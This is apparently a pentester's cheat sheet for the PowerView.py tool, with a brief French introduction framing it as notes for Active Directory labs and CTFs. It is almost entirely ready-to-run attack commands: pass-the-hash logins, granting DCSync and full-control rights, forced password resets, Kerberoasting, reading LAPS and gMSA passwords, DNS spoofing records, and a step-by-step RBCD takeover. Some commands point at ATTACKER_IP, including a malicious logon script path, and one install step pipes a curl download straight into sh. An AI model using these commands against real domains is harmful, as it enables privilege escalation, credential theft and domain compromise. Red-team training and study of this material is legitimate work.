Cheat sheet / Active Directory

PowerView.py

Reference Python pour l'enumeration AD et les abus de droits courants.

Utilisation

Ces notes reprennent mes commandes de reference pour les labs Active Directory et CTF. Les variables $IP, lab.local, user et password sont a adapter a chaque environnement.

PowerView.py is a Python implementation of the original PowerView.ps1 script. It provides an interactive LDAP session from Linux, eliminating the need to repeatedly authenticate and allowing full Active Directory enumeration and exploitation from a single shell. PowerView.py supports authentication using cleartext passwords, pass-the-hash, Kerberos tickets or certificates and binds to LDAP/LDAPS/GC services of a domain controller. Since it is a Python tool, wrapping it with proxychains is straightforward, making it ideal for pivoting through SOCKS proxies during engagements.

Installation

Requires libkrb5-dev for Kerberos support.

Installation
root@kali:~$sudo apt install libkrb5-dev

PyPI (recommended)

Installation
root@kali:~$pip3 install powerview

curl

Installation
root@kali:~$curl -L powerview.sh | sh

Manual

Installation
root@kali:~$git clone https://github.com/aniqfakhrul/powerview.py
root@kali:~$cd powerview.py
root@kali:~$./install.sh

Authentication

User/Password

Authentication
root@kali:~$powerview $DOMAIN/$USER:$PASSWORD@$IP

Pass-the-Hash (PtH)

Authentication
root@kali:~$powerview $DOMAIN/$USER@$IP -H 'LMHASH:NTHASH'

Kerberos (FQDN required)

Authentication
root@kali:~$export KRB5CCNAME=ticket.ccache
root@kali:~$powerview $DOMAIN/$USER@$FQDN -k --no-pass

Certificate (PFX)

Authentication
root@kali:~$powerview $IP --pfx administrator.pfx

Connection Types

Authentication
root@kali:~$powerview $DOMAIN/$USER:$PASSWORD@$IP --use-ldap # Port 389
root@kali:~$powerview $DOMAIN/$USER:$PASSWORD@$IP --use-ldaps # Port 636
root@kali:~$powerview $DOMAIN/$USER:$PASSWORD@$IP --use-gc # Port 3268 (Global Catalog)
root@kali:~$powerview $DOMAIN/$USER:$PASSWORD@$IP --use-gc-ldaps # Port 3269
root@kali:~$powerview $DOMAIN/$USER:$PASSWORD@$IP --use-adws # Active Directory Web Services

Additional options: --use-channel-binding, --use-sign-and-seal, --use-simple-auth

SOCKS Proxy

Authentication
root@kali:~$proxychains4 -q powerview $DOMAIN/$USER:$PASSWORD@$IP

LDAP Query Obfuscation

Authentication
root@kali:~$powerview $DOMAIN/$USER:$PASSWORD@$IP --obfuscate

Enumeration

ACLs/DACL Enum

Enumerate all outbound rights of a user (equivalent to BloodHound's "Outbound Object Control") — this catches extended rights like ForceChangePassword that bloodyAD get writable misses

ACLs/DACL Enum
root@kali:~$Get-DomainUser $USER -Properties objectsid
root@kali:~$Get-DomainObjectAcl -SecurityIdentifier $USER_SID -ResolveGUIDs

Enumerate inbound ACLs on a specific target object

ACLs/DACL Enum
root@kali:~$Get-DomainObjectAcl -Identity 'TARGET_OBJECT' -ResolveGUIDs

Get the owner of an object

ACLs/DACL Enum
root@kali:~$Get-DomainObjectOwner -Identity 'TARGET_OBJECT'

Domain Enumeration

Get domain information

Domain Enumeration
root@kali:~$Get-Domain
root@kali:~$Get-Domain -Properties ms-DS-MachineAccountQuota
root@kali:~$Get-Domain -Properties minPwdLength
root@kali:~$Get-Domain -Properties msDS-Behavior-Version
root@kali:~$Get-Domain -Properties pwdHistoryLength

Get all users of the domain

Domain Enumeration
root@kali:~$Get-DomainUser
root@kali:~$Get-DomainUser -Count
root@kali:~$Get-DomainUser -Properties samaccountname,description,memberof,pwdlastset,lastlogon

Get a specific user's information

Domain Enumeration
root@kali:~$Get-DomainUser -Identity 'TARGET_USER'
root@kali:~$Get-DomainUser -Identity 'TARGET_USER' -Properties *

Search for passwords in user description and info fields

Domain Enumeration
root@kali:~$Get-DomainUser -Properties samaccountname,description -Where "description != ''"
root@kali:~$Get-DomainUser -Properties samaccountname,info -Where "info != ''"

Get all groups of the domain

Domain Enumeration
root@kali:~$Get-DomainGroup
root@kali:~$Get-DomainGroup -AdminCount

Get members of a specific group

Domain Enumeration
root@kali:~$Get-DomainGroupMember -Identity 'Domain Admins'

Get groups a user belongs to

Domain Enumeration
root@kali:~$Get-DomainGroup -MemberIdentity 'TARGET_USER'

Get all computers of the domain

Domain Enumeration
root@kali:~$Get-DomainComputer
root@kali:~$Get-DomainComputer -Properties samaccountname,operatingsystem -Enabled
root@kali:~$Get-DomainComputer -IncludeIP

Get domain controllers

Domain Enumeration
root@kali:~$Get-DomainController

Get Organizational Units (OUs)

Domain Enumeration
root@kali:~$Get-DomainOU

Get Group Policy Objects (GPOs)

Domain Enumeration
root@kali:~$Get-DomainGPO
root@kali:~$Get-DomainGPOLocalGroup

Get domain trusts

Domain Enumeration
root@kali:~$Get-NetTrust

Get Kerberoastable users (users with SPN set)

Domain Enumeration
root@kali:~$Get-DomainUser -SPN

Get AS-REP Roastable users (DONT_REQ_PREAUTH set)

Domain Enumeration
root@kali:~$Get-DomainUser -PreAuthNotRequired

Get users with Constrained Delegation

Domain Enumeration
root@kali:~$Get-DomainUser -TrustedToAuth
root@kali:~$Get-DomainComputer -TrustedToAuth

Get users/computers with Unconstrained Delegation

Domain Enumeration
root@kali:~$Get-DomainUser -Unconstrained
root@kali:~$Get-DomainComputer -Unconstrained

Get computers with LAPS

Domain Enumeration
root@kali:~$Get-DomainComputer -LAPS

Get computers with RBCD configured

Domain Enumeration
root@kali:~$Get-DomainComputer -RBCD
root@kali:~$Get-DomainUser -RBCD

Get computers with Shadow Credentials

Domain Enumeration
root@kali:~$Get-DomainComputer -ShadowCred
root@kali:~$Get-DomainUser -ShadowCred

Get gMSA accounts

Domain Enumeration
root@kali:~$Get-DomainGMSA
root@kali:~$Get-DomainComputer -GMSAPassword

Get disabled/locked users

Domain Enumeration
root@kali:~$Get-DomainUser -Disabled
root@kali:~$Get-DomainUser -LockedOut
root@kali:~$Get-DomainUser -PassExpired

Get DNS records

Domain Enumeration
root@kali:~$Get-DomainDNSRecord
root@kali:~$Get-DomainDNSZone

Get SCCM information

Domain Enumeration
root@kali:~$Get-DomainSCCM

Get foreign domain users

Domain Enumeration
root@kali:~$Get-DomainForeignUser

Export results to a file

Domain Enumeration
root@kali:~$Get-DomainUser -OutFile domain_users.txt
root@kali:~$Get-DomainUser -Properties samaccountname,description -TableView csv -OutFile users.csv

ACL & Object Attacks

Add GenericAll (Full Control) permissions to an object

ACL & Object Attacks
root@kali:~$Add-DomainObjectAcl -TargetIdentity 'TARGET' -PrincipalIdentity 'TRUSTEE' -Rights fullcontrol

Add DCSync permissions to a domain object

ACL & Object Attacks
root@kali:~$Add-DomainObjectAcl -TargetIdentity 'DC=lab,DC=local' -PrincipalIdentity 'TRUSTEE' -Rights dcsync

Add ResetPassword right on a user

ACL & Object Attacks
root@kali:~$Add-DomainObjectAcl -TargetIdentity 'TARGET_USER' -PrincipalIdentity 'TRUSTEE' -Rights resetpassword

Add WriteMembers right on a group

ACL & Object Attacks
root@kali:~$Add-DomainObjectAcl -TargetIdentity 'TARGET_GROUP' -PrincipalIdentity 'TRUSTEE' -Rights writemembers

Add an ACE with a specific right GUID

ACL & Object Attacks
root@kali:~$Add-DomainObjectAcl -TargetIdentity 'TARGET' -PrincipalIdentity 'TRUSTEE' -RightGUID '00299570-246d-11d0-a768-00aa006e0529'

Add an ACE with inheritance (propagates to child objects)

ACL & Object Attacks
root@kali:~$Add-DomainObjectAcl -TargetIdentity 'TARGET_OU' -PrincipalIdentity 'TRUSTEE' -Rights fullcontrol -Inheritance

Remove an ACE (same syntax as Add but with Remove)

ACL & Object Attacks
root@kali:~$Remove-DomainObjectAcl -TargetIdentity 'TARGET' -PrincipalIdentity 'TRUSTEE' -Rights fullcontrol

Make a user the owner of an object (WriteOwner abuse)

ACL & Object Attacks
root@kali:~$Set-DomainObjectOwner -TargetIdentity 'TARGET_OBJECT' -PrincipalIdentity 'NEW_OWNER'

Add a user to a group

ACL & Object Attacks
root@kali:~$Add-DomainGroupMember -Identity 'GROUP_NAME' -Members 'USER_TO_ADD'

Remove a user from a group

ACL & Object Attacks
root@kali:~$Remove-DomainGroupMember -Identity 'GROUP_NAME' -Members 'USER_TO_REMOVE'

Modify an object attribute (GenericWrite / WriteSPN / WriteProperty abuse)

ACL & Object Attacks
root@kali:~$Set-DomainObject -Identity 'TARGET' -Set 'attribute=value'

Add a malicious script to a user that executes upon login (scriptPath)

ACL & Object Attacks
root@kali:~$Set-DomainObject -Identity 'TARGET' -Set 'scriptPath=\\ATTACKER_IP\malicious.bat'

Modify the UPN for AD CS / UPN Spoofing attacks

ACL & Object Attacks
root@kali:~$Set-DomainObject -Identity 'TARGET_USER' -Set 'userPrincipalName=administrator@lab.local'

Append a value to an attribute

ACL & Object Attacks
root@kali:~$Set-DomainObject -Identity 'TARGET' -Append 'attribute=value'

Clear an attribute

ACL & Object Attacks
root@kali:~$Set-DomainObject -Identity 'TARGET' -Clear 'attribute'

Remove a specific value from an attribute

ACL & Object Attacks
root@kali:~$Set-DomainObject -Identity 'TARGET' -Remove 'attribute=value'

Convert a SID to a readable name

ACL & Object Attacks
root@kali:~$ConvertFrom-SID S-1-5-21-...

Password Attacks

Force change a user's password (ForceChangePassword / ResetPassword abuse)

Password Attacks
root@kali:~$Set-DomainUserPassword -Identity 'TARGET_USER' -AccountPassword 'NEW_PASSWORD'

Change a user's password (requires old password)

Password Attacks
root@kali:~$Set-DomainUserPassword -Identity 'TARGET_USER' -AccountPassword 'NEW_PASSWORD' -OldPassword 'OLD_PASSWORD'

Change a computer account password

Password Attacks
root@kali:~$Set-DomainComputerPassword -Identity 'COMPUTER$' -AccountPassword 'NEW_PASSWORD'

Read a gMSA password

Password Attacks
root@kali:~$Get-DomainGMSA
root@kali:~$Get-DomainComputer -GMSAPassword

Read LAPS passwords

Password Attacks
root@kali:~$Get-DomainComputer -LAPS

Kerberos Attacks

Kerberoast — extract TGS hashes for offline cracking

Kerberos Attacks
root@kali:~$Invoke-Kerberoast
root@kali:~$Invoke-Kerberoast -Identity 'TARGET_USER'
root@kali:~$Invoke-Kerberoast -OutFile kerberoast_hashes.txt

OpSec mode for Kerberoasting

Kerberos Attacks
root@kali:~$Invoke-Kerberoast -Opsec

Assign an SPN to a user to make them Kerberoastable (WriteSPN abuse)

Kerberos Attacks
root@kali:~$Set-DomainObject -Identity 'TARGET_USER' -Set 'servicePrincipalName=cifs/target'

Remove the SPN after Kerberoasting

Kerberos Attacks
root@kali:~$Set-DomainObject -Identity 'TARGET_USER' -Clear 'servicePrincipalName'

Find AS-REP Roastable users

Kerberos Attacks
root@kali:~$Get-DomainUser -PreAuthNotRequired

Find users with Constrained Delegation

Kerberos Attacks
root@kali:~$Get-DomainUser -TrustedToAuth
root@kali:~$Get-DomainComputer -TrustedToAuth

Find users/computers with Unconstrained Delegation

Kerberos Attacks
root@kali:~$Get-DomainUser -Unconstrained
root@kali:~$Get-DomainComputer -Unconstrained

DNS Attacks

Query the DNS records of the domain

DNS Attacks
root@kali:~$Get-DomainDNSRecord
root@kali:~$Get-DomainDNSZone

Create a new DNS record for DNS Spoofing attacks

DNS Attacks
root@kali:~$Add-DomainDNSRecord -RecordName 'TARGET_RECORD' -RecordAddress 'ATTACKER_IP'

Create a DNS record in a specific zone

DNS Attacks
root@kali:~$Add-DomainDNSRecord -RecordName 'TARGET_RECORD' -RecordAddress 'ATTACKER_IP' -ZoneName 'lab.local'

Create a DNS record in the Forest DNS partition

DNS Attacks
root@kali:~$Add-DomainDNSRecord -RecordName 'TARGET_RECORD' -RecordAddress 'ATTACKER_IP' -Forest

Modify an existing DNS record

DNS Attacks
root@kali:~$Set-DomainDNSRecord -RecordName 'TARGET_RECORD' -RecordAddress 'NEW_IP'

Remove a DNS record

DNS Attacks
root@kali:~$Remove-DomainDNSRecord -RecordName 'TARGET_RECORD'

RBCD Attacks (Resource-Based Constrained Delegation)

Full RBCD attack workflow using PowerView.py:

1 — Check Machine Account Quota

RBCD Attacks (Resource-Based Constrained Delegation)
root@kali:~$Get-Domain -Properties ms-DS-MachineAccountQuota

2 — Create a new computer account

RBCD Attacks (Resource-Based Constrained Delegation)
root@kali:~$Add-DomainComputer -ComputerName 'ATTACKER_COMPUTER' -ComputerPass 'Password123'

3 — Set RBCD delegation on the target

RBCD Attacks (Resource-Based Constrained Delegation)
root@kali:~$Set-DomainRBCD -Identity 'TARGET_COMPUTER' -DelegateFrom 'ATTACKER_COMPUTER'

4 — Verify the delegation is set

RBCD Attacks (Resource-Based Constrained Delegation)
root@kali:~$Get-DomainComputer -Identity 'TARGET_COMPUTER' -Properties msDS-AllowedToActOnBehalfOfOtherIdentity -ResolveSIDs

Alternatively, add RBCD rights via ACL manipulation

RBCD Attacks (Resource-Based Constrained Delegation)
root@kali:~$Add-DomainObjectAcl -TargetIdentity 'TARGET_COMPUTER' -PrincipalIdentity 'ATTACKER_COMPUTER' -Rights fullcontrol

Check computers with RBCD already configured

RBCD Attacks (Resource-Based Constrained Delegation)
root@kali:~$Get-DomainComputer -RBCD
root@kali:~$Get-DomainRBCD

Note: After setting RBCD via PowerView.py, use Impacket's getST.py to request a service ticket via S4U2Self and S4U2Proxy, then pass the ticket to access the target.

References / Useful Pages